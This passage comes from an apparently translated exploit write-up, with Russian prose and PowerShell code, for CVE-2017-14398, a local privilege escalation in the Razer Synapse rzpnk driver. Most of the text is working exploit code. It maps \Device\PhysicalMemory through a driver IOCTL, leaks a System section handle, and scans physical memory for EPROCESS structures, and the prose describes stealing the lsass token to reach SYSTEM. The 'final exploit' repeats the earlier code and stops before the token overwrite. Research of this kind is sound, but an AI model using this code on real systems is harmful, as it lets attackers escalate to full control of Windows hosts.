0x1E = 'WaitCompletionPacket'; 0x1F = 'File'; 0x20 = 'TmTm'; 0x21 = 'TmTx'; 0x22 = 'TmRm';
0x23 = 'TmEn'; 0x24 = 'Section'; 0x25 = 'Session'; 0x26 = 'Key'; 0x27 = 'ALPC Port';
0x28 = 'PowerRequest'; 0x29 = 'WmiGuid'; 0x2A = 'EtwRegistration'; 0x2B = 'EtwConsumer';
0x2C = 'FilterConnectionPort'; 0x2D = 'FilterCommunicationPort'; 0x2E = 'PcwObject';
0x2F = 'DxgkSharedResource'; 0x30 = 'DxgkSharedSyncObject';
}
}
'6.1' # Windows 7 and Window Server 2008 R2
{
$TypeSwitches = @{
0x02 = 'Type'; 0x03 = 'Directory'; 0x04 = 'SymbolicLink'; 0x05 = 'Token'; 0x06 = 'Job';
0x07 = 'Process'; 0x08 = 'Thread'; 0x09 = 'UserApcReserve'; 0x0a = 'IoCompletionReserve';
0x0b = 'DebugObject'; 0x0c = 'Event'; 0x0d = 'EventPair'; 0x0e = 'Mutant'; 0x0f = 'Callback';
0x10 = 'Semaphore'; 0x11 = 'Timer'; 0x12 = 'Profile'; 0x13 = 'KeyedEvent'; 0x14 = 'WindowStation';
0x15 = 'Desktop'; 0x16 = 'TpWorkerFactory'; 0x17 = 'Adapter'; 0x18 = 'Controller';
0x19 = 'Device'; 0x1a = 'Driver'; 0x1b = 'IoCompletion'; 0x1c = 'File'; 0x1d = 'TmTm';
0x1e = 'TmTx'; 0x1f = 'TmRm'; 0x20 = 'TmEn'; 0x21 = 'Section'; 0x22 = 'Session'; 0x23 = 'Key';
0x24 = 'ALPC Port'; 0x25 = 'PowerRequest'; 0x26 = 'WmiGuid'; 0x27 = 'EtwRegistration';
0x28 = 'EtwConsumer'; 0x29 = 'FilterConnectionPort'; 0x2a = 'FilterCommunicationPort';
0x2b = 'PcwObject';
}
}
'6.0' # Windows Vista and Windows Server 2008
{
$TypeSwitches = @{
0x01 = 'Type'; 0x02 = 'Directory'; 0x03 = 'SymbolicLink'; 0x04 = 'Token'; 0x05 = 'Job';
0x06 = 'Process'; 0x07 = 'Thread'; 0x08 = 'DebugObject'; 0x09 = 'Event'; 0x0a = 'EventPair';
0x0b = 'Mutant'; 0x0c = 'Callback'; 0x0d = 'Semaphore'; 0x0e = 'Timer'; 0x0f = 'Profile';
0x10 = 'KeyedEvent'; 0x11 = 'WindowStation'; 0x12 = 'Desktop'; 0x13 = 'TpWorkerFactory';
0x14 = 'Adapter'; 0x15 = 'Controller'; 0x16 = 'Device'; 0x17 = 'Driver'; 0x18 = 'IoCompletion';
0x19 = 'File'; 0x1a = 'TmTm'; 0x1b = 'TmTx'; 0x1c = 'TmRm'; 0x1d = 'TmEn'; 0x1e = 'Section';
0x1f = 'Session'; 0x20 = 'Key'; 0x21 = 'ALPC Port'; 0x22 = 'WmiGuid'; 0x23 = 'EtwRegistration';
0x24 = 'FilterConnectionPort'; 0x25 = 'FilterCommunicationPort';
}
}
}
[int]$BuffPtr_Size = 0
while ($true) {
[IntPtr]$BuffPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($BuffPtr_Size)
$SystemInformationLength = New-Object Int
$CallResult = [GetHandles]::NtQuerySystemInformation(16, $BuffPtr, $BuffPtr_Size, [ref]$SystemInformationLength)
# STATUS_INFO_LENGTH_MISMATCH
if ($CallResult -eq 0xC0000004) {
[System.Runtime.InteropServices.Marshal]::FreeHGlobal($BuffPtr)
[int]$BuffPtr_Size = [System.Math]::Max($BuffPtr_Size,$SystemInformationLength)
}
# STATUS_SUCCESS
elseif ($CallResult -eq 0x00000000) {
break
}
# Probably: 0xC0000005 -> STATUS_ACCESS_VIOLATION
else {
[System.Runtime.InteropServices.Marshal]::FreeHGlobal($BuffPtr)
return
}
}
$SYSTEM_HANDLE_INFORMATION = New-Object SYSTEM_HANDLE_INFORMATION
$SYSTEM_HANDLE_INFORMATION = $SYSTEM_HANDLE_INFORMATION.GetType()
if ([System.IntPtr]::Size -eq 4) {
$SYSTEM_HANDLE_INFORMATION_Size = 16 # This makes sense!
} else {
$SYSTEM_HANDLE_INFORMATION_Size = 24 # This doesn't make sense, should be 20 on x64 but that doesn't work.
# Ask no questions, hear no lies!
}
$BuffOffset = $BuffPtr.ToInt64()
$HandleCount = [System.Runtime.InteropServices.Marshal]::ReadInt32($BuffOffset)
$BuffOffset = $BuffOffset + [System.IntPtr]::Size
$SystemHandleArray = @()
for ($i=0; $i -lt $HandleCount; $i++){
# PtrToStructure only objects we are targeting, this is expensive computation
if ([System.Runtime.InteropServices.Marshal]::ReadInt32($BuffOffset) -eq $ProcID) {
$SystemPointer = New-Object System.Intptr -ArgumentList $BuffOffset
$Cast = [system.runtime.interopservices.marshal]::PtrToStructure($SystemPointer,[type]$SYSTEM_HANDLE_INFORMATION)
$HashTable = @{
PID = $Cast.ProcessID
ObjectType = if (!$($TypeSwitches[[int]$Cast.ObjectTypeNumber])) { "0x$('{0:X2}' -f [int]$Cast.ObjectTypeNumber)" } else { $TypeSwitches[[int]$Cast.ObjectTypeNumber] }
HandleFlags = $FlagSwitches[[int]$Cast.Flags]
Handle = "0x$('{0:X4}' -f [int]$Cast.HandleValue)"
KernelPointer = if ([System.IntPtr]::Size -eq 4) { "0x$('{0:X}' -f $Cast.Object_Pointer.ToInt32())" } else { "0x$('{0:X}' -f $Cast.Object_Pointer.ToInt64())" }
AccessMask = "0x$('{0:X8}' -f $($Cast.GrantedAccess -band 0xFFFF0000))"
}
$Object = New-Object PSObject -Property $HashTable
$SystemHandleArray += $Object
}
$BuffOffset = $BuffOffset + $SYSTEM_HANDLE_INFORMATION_Size
}
if ($($SystemHandleArray.count) -eq 0) {
[System.Runtime.InteropServices.Marshal]::FreeHGlobal($BuffPtr)
Return
}
# Set column order and auto size
$SystemHandleArray
# Free SYSTEM_HANDLE_INFORMATION array
[System.Runtime.InteropServices.Marshal]::FreeHGlobal($BuffPtr)
}
#----------------[Get Driver Handle]
$hDevice = [Razer]::CreateFile("\\.\47CD78C9-64C3-47C2-B80F-677B887CF095", [System.IO.FileAccess]::ReadWrite,
[System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero)
if ($hDevice -eq -1) {
echo "`n[!] Unable to get driver handle..`n"
Return
} else {
echo "`n[>] Driver access OK.."
echo "[+] lpFileName: \\.\47CD78C9-64C3-47C2-B80F-677B887CF095 => rzpnk"
echo "[+] Handle: $hDevice"
}
#----------------[Prepare buffer & Send IOCTL]
# Get full access process handle to self
echo "`n[>] Opening full access handle to PowerShell.."
$hPoshProc = [Razer]::OpenProcess(0x001F0FFF,$false,$PID)
echo "[+] PowerShell handle: $hPoshProc"
# Get Section handle
echo "`n[>] Leaking Kernel handle to \Device\PhysicalMemory.."
$SystemProcHandles = Get-Handles -ProcID 4
[Int]$UserSectionHandle = $(($SystemProcHandles |Where-Object {$_.ObjectType -eq "Section"}).Handle)
[Int64]$SystemSectionHandle = $UserSectionHandle + 0xffffffff80000000
echo "[+] System section handle: $('{0:X}' -f $SystemSectionHandle)"
# NTSTATUS ZwMapViewOfSection(
# _In_ HANDLE SectionHandle, | Param 3 - RCX = SectionHandle
# _In_ HANDLE ProcessHandle, | Param 1 - RDX = ProcessHandle
# _Inout_ PVOID *BaseAddress, | Param 2 - R8 = BaseAddress -> Irrelevant, ptr to NULL
# _In_ ULONG_PTR ZeroBits, | 0 -> OK - R9
# _In_ SIZE_T CommitSize, | Param 5 - CommitSize / ViewSize
# _Inout_opt_ PLARGE_INTEGER SectionOffset, | 0 -> OK
# _Inout_ PSIZE_T ViewSize, | Param 5 - CommitSize / ViewSize
# _In_ SECTION_INHERIT InheritDisposition, | 2 = ViewUnmap
# _In_ ULONG AllocationType, | 0 -> Undocumented?
# _In_ ULONG Win32Protect | 0x40 -> PAGE_READWRITE
# );
$InBuffer = @(
[System.BitConverter]::GetBytes($hPoshProc.ToInt64()) + # Param 1 - RDX=ProcessHandle
[System.BitConverter]::GetBytes([Int64]0x0) + # Param 2 - BaseAddress -> Irrelevant, ptr to NULL
[System.BitConverter]::GetBytes($SystemSectionHandle) + # Param 3 - RCX=SectionHandle
[System.BitConverter]::GetBytes([Int64]4) + # Param 4 - ? junk ?
[System.BitConverter]::GetBytes([Int64]$(1*1024*1024)) + # Param 5 - CommitSize / ViewSize (1mb)
[System.BitConverter]::GetBytes([Int64]4) # Param 6 - ? junk ?
)
# Output buffer
$OutBuffer = [Razer]::VirtualAlloc([System.IntPtr]::Zero, 1024, 0x3000, 0x40)
# Ptr receiving output byte count
$IntRet = 0
#=======
# 0x22a050 - ZwOpenProcess
# 0x22A064 - ZwMapViewOfSection
#=======
$CallResult = [Razer]::DeviceIoControl($hDevice, 0x22A064, $InBuffer, $InBuffer.Length, $OutBuffer, 1024, [ref]$IntRet, [System.IntPtr]::Zero)
if (!$CallResult) {
echo "`n[!] DeviceIoControl failed..`n"
Return
}
#----------------[Read out the result buffer]
echo "`n[>] Verifying ZwMapViewOfSection.."
$NTSTATUS = "{0:X}" -f $([System.Runtime.InteropServices.Marshal]::ReadInt64($OutBuffer.ToInt64()+8+8+8+8+8))
$Address = [System.Runtime.InteropServices.Marshal]::ReadInt64($OutBuffer.ToInt64()+8+8+8)
if ($NTSTATUS -eq 0) {
echo "[+] NTSTATUS Success!"
echo "[+] 1mb RWX \Device\PhysicalMemory allocated at: $('{0:X}' -f $Address)`n"
} else {
echo "[!] Call failed: $('{0:X}' -f $NTSTATUS)`n"
}
}
Запустив наш новый POC, мы получим следующий вывод.
Обратите внимание, что мы измеряем статус success, читая код NTSTATUS, и что Int64, который ранее был 0, теперь возвращает адрес в нашем локальном процессе, где был отображен раздел. Посмотрев в Process Hacker, мы увидим неплохое безвредное распределение памяти ровно 1024 КБ.
Используя Process Hacker, мы можем сохранить этот чанк памяти на диск. Если мы сделаем это и сделаем прокрутку, мы увидим некоторые забавные вещи, как показано ниже.
Мы в значительной степени доказали уязвимость, но как теперь получить оболочку SYSTEM?
Охота на EPROCESS
Самый простой способ, которым мы можем эксплуатировать, - это классическая атака кражи токенов. Трудность в том, чтобы найти структуру EPROCESS в нашей отображенной памяти. Некоторые исследования WinDBG показывают, что структура EPROCESS размещена в пуле "Proc".
Вычитая начало фрагмента пула "Proc" из указателя EPROCESS, мы также сразу получаем размер заголовка. И наоборот, если у нас есть произвольный адрес пула "Proc", мы можем вычислить местоположение любого свойства в структуре EPROCESS.
Если вы хотите посмотреть эти смещения, зависящие от архитектуры/версии, не переходя в отладчик KD, вы можете использовать Terminus Project. Это отличный ресурс от @rwfpl, который много раз экономил мне время!
Таким образом, мы эффективно сократили нашу проблему до нахождения кусков пула "Proc", но пока это не похоже на победу. Чтобы найти эти куски, мы можем отсканировать отображаемую секцию на наличие уникального тега пула 'Proc'.
В целях оптимизации, обратите внимание, что куски пула выровнены по границе в 0x10. По сути, это означает, что нам нужно только читать один DWORD каждые 16 байтов. Это не так много, но экономит драгоценное время. Несмотря на это, поиск был очень медленным, так как фрагменты пула "Proc" начали появляться после ~ 900 МБ. Для дальнейшей оптимизации поиска мы можем начать сканирование сопоставленной памяти со смещением 0x30000000 (0x30000000/(1024 * 1024) = 768 МБ), оставляя достаточно различий для разных версий ОС.
Чтобы проверить теорию, мы можем использовать следующий цикл (в отображенном разделе размером 1,2 ГБ), чтобы найти фрагменты пула 'Proc' и сдампить некоторые данные EPROCESS для подтверждения.
Код:
echo "`n[>] Parsing physical memory, coffee time..`n"
for ($i=0x30000000;$i -lt $(1200*1024*1024); $i+=0x10) {
# Read potential pooltag
$Val = [System.Runtime.InteropServices.Marshal]::ReadInt32($Address+$i+4)
# If pooltag matches Proc, pull out details..
if ($Val -eq 0xe36f7250) {
echo "[+] w00t Proc chunk found!"
$ProcessName = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($Address+$i+0x60+0x2d8+8) # Not sure why +8 here?
$Token = [System.Runtime.InteropServices.Marshal]::ReadInt64($Address+$i+0x60+0x208)
$ProcID = [System.Runtime.InteropServices.Marshal]::ReadInt64($Address+$i+0x60+0x180)
echo "[>] Address: $('{0:X}' -f $($Address+$i))"
echo "[>] $ProcessName"
echo "[>] $ProcID"
echo "[>] Token: $('{0:X}' -f $Token)"
echo "==========================================="
}
}
Часть результата показана ниже.
Как видите, эта реализация не идеальна, некоторые имена изображений усекаются, а небольшое количество обнаружений вообще не является структурами EPROCESS. К счастью, я обнаружил, что большинство процессов гарантированно были обнаружены правильно (включая PowerShell/lsass).
Конец игры
Осталось лишь слегка изменить вышеприведенный цикл, чтобы он записывал токен lsass и местоположение токена PowerShell. Как только оба элемента найдены, мы можем просто перезаписать токен PowerShell и достигнуть токена SYSTEM! Хотя могут потребоваться некоторые эксперименты, портирование этого эксплоита на 8,8.1,10 должен быть довольно простым упражнением. Единственными соображениями будут изменения в структуре EPROCESS и разработка стратегии для работы с несколькими дескрипторами секций в процессе System. Финальный эксплойт показан ниже.
Код:
function RZ-ZwMapViewOfSection {
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
public static class Razer
{
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
public static extern IntPtr CreateFile(
String lpFileName,
UInt32 dwDesiredAccess,
UInt32 dwShareMode,
IntPtr lpSecurityAttributes,
UInt32 dwCreationDisposition,
UInt32 dwFlagsAndAttributes,
IntPtr hTemplateFile);
[DllImport("Kernel32.dll", SetLastError = true)]
public static extern bool DeviceIoControl(
IntPtr hDevice,
int IoControlCode,
byte[] InBuffer,
int nInBufferSize,
IntPtr OutBuffer,
int nOutBufferSize,
ref int pBytesReturned,
IntPtr Overlapped);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr VirtualAlloc(
IntPtr lpAddress,
uint dwSize,
UInt32 flAllocationType,
UInt32 flProtect);
[DllImport("kernel32.dll")]
public static extern IntPtr OpenProcess(
UInt32 processAccess,
bool bInheritHandle,
int processId);
}
"@
#----------------[Helper Funcs]
$CVE201714398 = @"
shhsddh
shhy Mhsdms
mmyydN hNh
hM syyMdds smNy
shyshy Nd s sMshNs yssmm Razer Synapse EOP - CVE-2017-14398
shhdh hNs dNNNddmdsd yMs
sddds mhydNmddmdmddy
dMdhy [by b33f -> @FuzzySec]
dNsyyss
smmdddmmmddmh
yhmh
hdd
yd
"@
$CVE201714398
#----------------[Helper Funcs]
function Get-Handles {
<#
.SYNOPSIS
Use NtQuerySystemInformation::SystemHandleInformation to get a list of
open handles in the specified process, works on x32/x64.
Notes:
* For more robust coding I would recomend using @mattifestation's
Get-NtSystemInformation.ps1 part of PowerShellArsenal.
.DESCRIPTION
Author: Ruben Boonen (@FuzzySec)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.EXAMPLE
C:\PS> $SystemProcHandles = Get-Handles -ProcID 4
C:\PS> $Key = $SystemProcHandles |Where-Object {$_.ObjectType -eq "Key"}
C:\PS> $Key |ft
ObjectType AccessMask PID Handle HandleFlags KernelPointer
---------- ---------- --- ------ ----------- -------------
Key 0x00000000 4 0x004C NONE 0xFFFFC9076FC29BC0
Key 0x00020000 4 0x0054 NONE 0xFFFFC9076FCDA7F0
Key 0x000F0000 4 0x0058 NONE 0xFFFFC9076FC39CE0
Key 0x00000000 4 0x0090 NONE 0xFFFFC907700A6B40
Key 0x00000000 4 0x0098 NONE 0xFFFFC90770029F70
Key 0x00020000 4 0x00A0 NONE 0xFFFFC9076FC9C1A0
[...Snip...]
#>
[CmdletBinding()]
param (
[Parameter(Mandatory = $True)]
[int]$ProcID
)
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
[StructLayout(LayoutKind.Sequential, Pack = 1)]
public struct SYSTEM_HANDLE_INFORMATION
{
public UInt32 ProcessID;
public Byte ObjectTypeNumber;
public Byte Flags;
public UInt16 HandleValue;
public IntPtr Object_Pointer;
public UInt32 GrantedAccess;
}
public static class GetHandles
{
[DllImport("ntdll.dll")]
public static extern int NtQuerySystemInformation(
int SystemInformationClass,
IntPtr SystemInformation,
int SystemInformationLength,
ref int ReturnLength);
}
"@
# Make sure the PID exists
if (!$(get-process -Id $ProcID -ErrorAction SilentlyContinue)) {
Return
}
# Flag switches (0 = NONE?)
$FlagSwitches = @{
0 = 'NONE'
1 = 'PROTECT_FROM_CLOSE'
2 = 'INHERIT'
}
$OSVersion = [Version](Get-WmiObject Win32_OperatingSystem).Version
$OSMajorMinor = "$($OSVersion.Major).$($OSVersion.Minor)"
switch ($OSMajorMinor)
{
'10.0' # Windows 10 (Tested on v1511)
{
# Win 10 v1703
if ($OSVersion.Build -ge 15063) {
$TypeSwitches = @{
0x24 = 'TmTm'; 0x18 = 'Desktop'; 0x7 = 'Process'; 0x2c = 'RegistryTransaction'; 0xe = 'DebugObject';
0x3d = 'VRegConfigurationContext'; 0x34 = 'DmaDomain'; 0x1c = 'TpWorkerFactory'; 0x1d = 'Adapter';
0x5 = 'Token'; 0x39 = 'DxgkSharedResource'; 0xc = 'PsSiloContextPaged'; 0x38 = 'NdisCmState';
0xb = 'ActivityReference'; 0x35 = 'PcwObject'; 0x2f = 'WmiGuid'; 0x33 = 'DmaAdapter';
0x30 = 'EtwRegistration'; 0x29 = 'Session'; 0x1a = 'RawInputManager'; 0x13 = 'Timer'; 0x10 = 'Mutant';
0x14 = 'IRTimer'; 0x3c = 'DxgkCurrentDxgProcessObject'; 0x21 = 'IoCompletion';
0x3a = 'DxgkSharedSyncObject'; 0x17 = 'WindowStation'; 0x15 = 'Profile'; 0x23 = 'File';
0x2a = 'Partition'; 0x12 = 'Semaphore'; 0xd = 'PsSiloContextNonPaged'; 0x32 = 'EtwConsumer';
0x19 = 'Composition'; 0x31 = 'EtwSessionDemuxEntry'; 0x1b = 'CoreMessaging'; 0x25 = 'TmTx';
0x4 = 'SymbolicLink'; 0x36 = 'FilterConnectionPort'; 0x2b = 'Key'; 0x16 = 'KeyedEvent';
0x11 = 'Callback'; 0x22 = 'WaitCompletionPacket'; 0x9 = 'UserApcReserve'; 0x6 = 'Job';
0x3b = 'DxgkSharedSwapChainObject'; 0x1e = 'Controller'; 0xa = 'IoCompletionReserve'; 0x1f = 'Device';
0x3 = 'Directory'; 0x28 = 'Section'; 0x27 = 'TmEn'; 0x8 = 'Thread'; 0x2 = 'Type';
0x37 = 'FilterCommunicationPort'; 0x2e = 'PowerRequest'; 0x26 = 'TmRm'; 0xf = 'Event';
0x2d = 'ALPC Port'; 0x20 = 'Driver';
}
}
# Win 10 v1607
if ($OSVersion.Build -ge 14393 -And $OSVersion.Build -lt 15063) {
$TypeSwitches = @{
0x23 = 'TmTm'; 0x17 = 'Desktop'; 0x7 = 'Process'; 0x2b = 'RegistryTransaction'; 0xd = 'DebugObject';
0x3a = 'VRegConfigurationContext'; 0x32 = 'DmaDomain'; 0x1b = 'TpWorkerFactory'; 0x1c = 'Adapter';
0x5 = 'Token'; 0x37 = 'DxgkSharedResource'; 0xb = 'PsSiloContextPaged'; 0x36 = 'NdisCmState';
0x33 = 'PcwObject'; 0x2e = 'WmiGuid'; 0x31 = 'DmaAdapter'; 0x2f = 'EtwRegistration';
0x28 = 'Session'; 0x19 = 'RawInputManager'; 0x12 = 'Timer'; 0xf = 'Mutant'; 0x13 = 'IRTimer';
0x20 = 'IoCompletion'; 0x38 = 'DxgkSharedSyncObject'; 0x16 = 'WindowStation'; 0x14 = 'Profile';
0x22 = 'File'; 0x3b = 'VirtualKey'; 0x29 = 'Partition'; 0x11 = 'Semaphore'; 0xc = 'PsSiloContextNonPaged';
0x30 = 'EtwConsumer'; 0x18 = 'Composition'; 0x1a = 'CoreMessaging'; 0x24 = 'TmTx'; 0x4 = 'SymbolicLink';
0x34 = 'FilterConnectionPort'; 0x2a = 'Key'; 0x15 = 'KeyedEvent'; 0x10 = 'Callback';
0x21 = 'WaitCompletionPacket'; 0x9 = 'UserApcReserve'; 0x6 = 'Job'; 0x39 = 'DxgkSharedSwapChainObject';
0x1d = 'Controller'; 0xa = 'IoCompletionReserve'; 0x1e = 'Device'; 0x3 = 'Directory'; 0x27 = 'Section';
0x26 = 'TmEn'; 0x8 = 'Thread'; 0x2 = 'Type'; 0x35 = 'FilterCommunicationPort'; 0x2d = 'PowerRequest';
0x25 = 'TmRm'; 0xe = 'Event'; 0x2c = 'ALPC Port'; 0x1f = 'Driver';
}
}
# Win 10 v1511
if ($OSVersion.Build -lt 14393) {
$TypeSwitches = @{
0x02 = 'Type'; 0x03 = 'Directory'; 0x04 = 'SymbolicLink'; 0x05 = 'Token'; 0x06 = 'Job';
0x07 = 'Process'; 0x08 = 'Thread'; 0x09 = 'UserApcReserve'; 0x0A = 'IoCompletionReserve';
0x0B = 'DebugObject'; 0x0C = 'Event'; 0x0D = 'Mutant'; 0x0E = 'Callback'; 0x0F = 'Semaphore';
0x10 = 'Timer'; 0x11 = 'IRTimer'; 0x12 = 'Profile'; 0x13 = 'KeyedEvent'; 0x14 = 'WindowStation';
0x15 = 'Desktop'; 0x16 = 'Composition'; 0x17 = 'RawInputManager'; 0x18 = 'TpWorkerFactory';
0x19 = 'Adapter'; 0x1A = 'Controller'; 0x1B = 'Device'; 0x1C = 'Driver'; 0x1D = 'IoCompletion';
0x1E = 'WaitCompletionPacket'; 0x1F = 'File'; 0x20 = 'TmTm'; 0x21 = 'TmTx'; 0x22 = 'TmRm';
0x23 = 'TmEn'; 0x24 = 'Section'; 0x25 = 'Session'; 0x26 = 'Partition'; 0x27 = 'Key';
0x28 = 'ALPC Port'; 0x29 = 'PowerRequest'; 0x2A = 'WmiGuid'; 0x2B = 'EtwRegistration';
0x2C = 'EtwConsumer'; 0x2D = 'DmaAdapter'; 0x2E = 'DmaDomain'; 0x2F = 'PcwObject';
0x30 = 'FilterConnectionPort'; 0x31 = 'FilterCommunicationPort'; 0x32 = 'NetworkNamespace';
0x33 = 'DxgkSharedResource'; 0x34 = 'DxgkSharedSyncObject'; 0x35 = 'DxgkSharedSwapChainObject';
}
}
}
'6.2' # Windows 8 and Windows Server 2012
{
$TypeSwitches = @{
0x02 = 'Type'; 0x03 = 'Directory'; 0x04 = 'SymbolicLink'; 0x05 = 'Token'; 0x06 = 'Job';
0x07 = 'Process'; 0x08 = 'Thread'; 0x09 = 'UserApcReserve'; 0x0A = 'IoCompletionReserve';
0x0B = 'DebugObject'; 0x0C = 'Event'; 0x0D = 'EventPair'; 0x0E = 'Mutant'; 0x0F = 'Callback';
0x10 = 'Semaphore'; 0x11 = 'Timer'; 0x12 = 'IRTimer'; 0x13 = 'Profile'; 0x14 = 'KeyedEvent';
0x15 = 'WindowStation'; 0x16 = 'Desktop'; 0x17 = 'CompositionSurface'; 0x18 = 'TpWorkerFactory';
0x19 = 'Adapter'; 0x1A = 'Controller'; 0x1B = 'Device'; 0x1C = 'Driver'; 0x1D = 'IoCompletion';
0x1E = 'WaitCompletionPacket'; 0x1F = 'File'; 0x20 = 'TmTm'; 0x21 = 'TmTx'; 0x22 = 'TmRm';
0x23 = 'TmEn'; 0x24 = 'Section'; 0x25 = 'Session'; 0x26 = 'Key'; 0x27 = 'ALPC Port';
0x28 = 'PowerRequest'; 0x29 = 'WmiGuid'; 0x2A = 'EtwRegistration'; 0x2B = 'EtwConsumer';
0x2C = 'FilterConnectionPort'; 0x2D = 'FilterCommunicationPort'; 0x2E = 'PcwObject';
0x2F = 'DxgkSharedResource'; 0x30 = 'DxgkSharedSyncObject';
}
}
'6.1' # Windows 7 and Window Server 2008 R2
{
$TypeSwitches = @{
0x02 = 'Type'; 0x03 = 'Directory'; 0x04 = 'SymbolicLink'; 0x05 = 'Token'; 0x06 = 'Job';
0x07 = 'Process'; 0x08 = 'Thread'; 0x09 = 'UserApcReserve'; 0x0a = 'IoCompletionReserve';
0x0b = 'DebugObject'; 0x0c = 'Event'; 0x0d = 'EventPair'; 0x0e = 'Mutant'; 0x0f = 'Callback';
0x10 = 'Semaphore'; 0x11 = 'Timer'; 0x12 = 'Profile'; 0x13 = 'KeyedEvent'; 0x14 = 'WindowStation';
0x15 = 'Desktop'; 0x16 = 'TpWorkerFactory'; 0x17 = 'Adapter'; 0x18 = 'Controller';
0x19 = 'Device'; 0x1a = 'Driver'; 0x1b = 'IoCompletion'; 0x1c = 'File'; 0x1d = 'TmTm';
0x1e = 'TmTx'; 0x1f = 'TmRm'; 0x20 = 'TmEn'; 0x21 = 'Section'; 0x22 = 'Session'; 0x23 = 'Key';
0x24 = 'ALPC Port'; 0x25 = 'PowerRequest'; 0x26 = 'WmiGuid'; 0x27 = 'EtwRegistration';
0x28 = 'EtwConsumer'; 0x29 = 'FilterConnectionPort'; 0x2a = 'FilterCommunicationPort';
0x2b = 'PcwObject';
}
}
'6.0' # Windows Vista and Windows Server 2008
{
$TypeSwitches = @{
0x01 = 'Type'; 0x02 = 'Directory'; 0x03 = 'SymbolicLink'; 0x04 = 'Token'; 0x05 = 'Job';
0x06 = 'Process'; 0x07 = 'Thread'; 0x08 = 'DebugObject'; 0x09 = 'Event'; 0x0a = 'EventPair';
0x0b = 'Mutant'; 0x0c = 'Callback'; 0x0d = 'Semaphore'; 0x0e = 'Timer'; 0x0f = 'Profile';
0x10 = 'KeyedEvent'; 0x11 = 'WindowStation'; 0x12 = 'Desktop'; 0x13 = 'TpWorkerFactory';
0x14 = 'Adapter'; 0x15 = 'Controller'; 0x16 = 'Device'; 0x17 = 'Driver'; 0x18 = 'IoCompletion';
0x19 = 'File'; 0x1a = 'TmTm'; 0x1b = 'TmTx'; 0x1c = 'TmRm'; 0x1d = 'TmEn'; 0x1e = 'Section';
0x1f = 'Session'; 0x20 = 'Key'; 0x21 = 'ALPC Port'; 0x22 = 'WmiGuid'; 0x23 = 'EtwRegistration';
0x24 = 'FilterConnectionPort'; 0x25 = 'FilterCommunicationPort';
}
}
}
[int]$BuffPtr_Size = 0
while ($true) {
[IntPtr]$BuffPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($BuffPtr_Size)
$SystemInformationLength = New-Object Int
$CallResult = [GetHandles]::NtQuerySystemInformation(16, $BuffPtr, $BuffPtr_Size, [ref]$SystemInformationLength)
# STATUS_INFO_LENGTH_MISMATCH
if ($CallResult -eq 0xC0000004) {
[System.Runtime.InteropServices.Marshal]::FreeHGlobal($BuffPtr)
[int]$BuffPtr_Size = [System.Math]::Max($BuffPtr_Size,$SystemInformationLength)
}
# STATUS_SUCCESS
elseif ($CallResult -eq 0x00000000) {
break
}
# Probably: 0xC0000005 -> STATUS_ACCESS_VIOLATION
else {
[System.Runtime.InteropServices.Marshal]::FreeHGlobal($BuffPtr)
return
}
}
$SYSTEM_HANDLE_INFORMATION = New-Object SYSTEM_HANDLE_INFORMATION
$SYSTEM_HANDLE_INFORMATION = $SYSTEM_HANDLE_INFORMATION.GetType()
if ([System.IntPtr]::Size -eq 4) {
$SYSTEM_HANDLE_INFORMATION_Size = 16 # This makes sense!
} else {
$SYSTEM_HANDLE_INFORMATION_Size = 24 # This doesn't make sense, should be 20 on x64 but that doesn't work.
# Ask no questions, hear no lies!
}
$BuffOffset = $BuffPtr.ToInt64()
$HandleCount = [System.Runtime.InteropServices.Marshal]::ReadInt32($BuffOffset)
$BuffOffset = $BuffOffset + [System.IntPtr]::Size
$SystemHandleArray = @()
for ($i=0; $i -lt $HandleCount; $i++){
# PtrToStructure only objects we are targeting, this is expensive computation
if ([System.Runtime.InteropServices.Marshal]::ReadInt32($BuffOffset) -eq $ProcID) {
$SystemPointer = New-Object System.Intptr -ArgumentList $BuffOffset
$Cast = [system.runtime.interopservices.marshal]::PtrToStructure($SystemPointer,[type]$SYSTEM_HANDLE_INFORMATION)
$HashTable = @{
PID = $Cast.ProcessID
ObjectType = if (!$($TypeSwitches[[int]$Cast.ObjectTypeNumber])) { "0x$('{0:X2}' -f [int]$Cast.ObjectTypeNumber)" } else { $TypeSwitches[[int]$Cast.ObjectTypeNumber] }
HandleFlags = $FlagSwitches[[int]$Cast.Flags]
Handle = "0x$('{0:X4}' -f [int]$Cast.HandleValue)"
KernelPointer = if ([System.IntPtr]::Size -eq 4) { "0x$('{0:X}' -f $Cast.Object_Pointer.ToInt32())" } else { "0x$('{0:X}' -f $Cast.Object_Pointer.ToInt64())" }
AccessMask = "0x$('{0:X8}' -f $($Cast.GrantedAccess -band 0xFFFF0000))"
}
$Object = New-Object PSObject -Property $HashTable
$SystemHandleArray += $Object
}
$BuffOffset = $BuffOffset + $SYSTEM_HANDLE_INFORMATION_Size
}
if ($($SystemHandleArray.count) -eq 0) {
[System.Runtime.InteropServices.Marshal]::FreeHGlobal($BuffPtr)
Return
}
# Set column order and auto size
$SystemHandleArray
# Free SYSTEM_HANDLE_INFORMATION array
[System.Runtime.InteropServices.Marshal]::FreeHGlobal($BuffPtr)
}
#----------------[Get Driver Handle]
$hDevice = [Razer]::CreateFile("\\.\47CD78C9-64C3-47C2-B80F-677B887CF095", [System.IO.FileAccess]::ReadWrite,
[System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero)
if ($hDevice -eq -1) {
echo "`n[!] Unable to get driver handle..`n"
Return
} else {
echo "`n[>] Driver access OK.."
echo "[+] lpFileName: \\.\47CD78C9-64C3-47C2-B80F-677B887CF095 => rzpnk"
echo "[+] Handle: $hDevice"
}
#----------------[Prepare buffer & Send IOCTL]
# Get full access process handle to self
echo "`n[>] Opening full access handle to PowerShell.."
$hPoshProc = [Razer]::OpenProcess(0x001F0FFF,$false,$PID)
echo "[+] PowerShell handle: $hPoshProc"
# Get Section handle
echo "`n[>] Leaking Kernel handle to \Device\PhysicalMemory.."
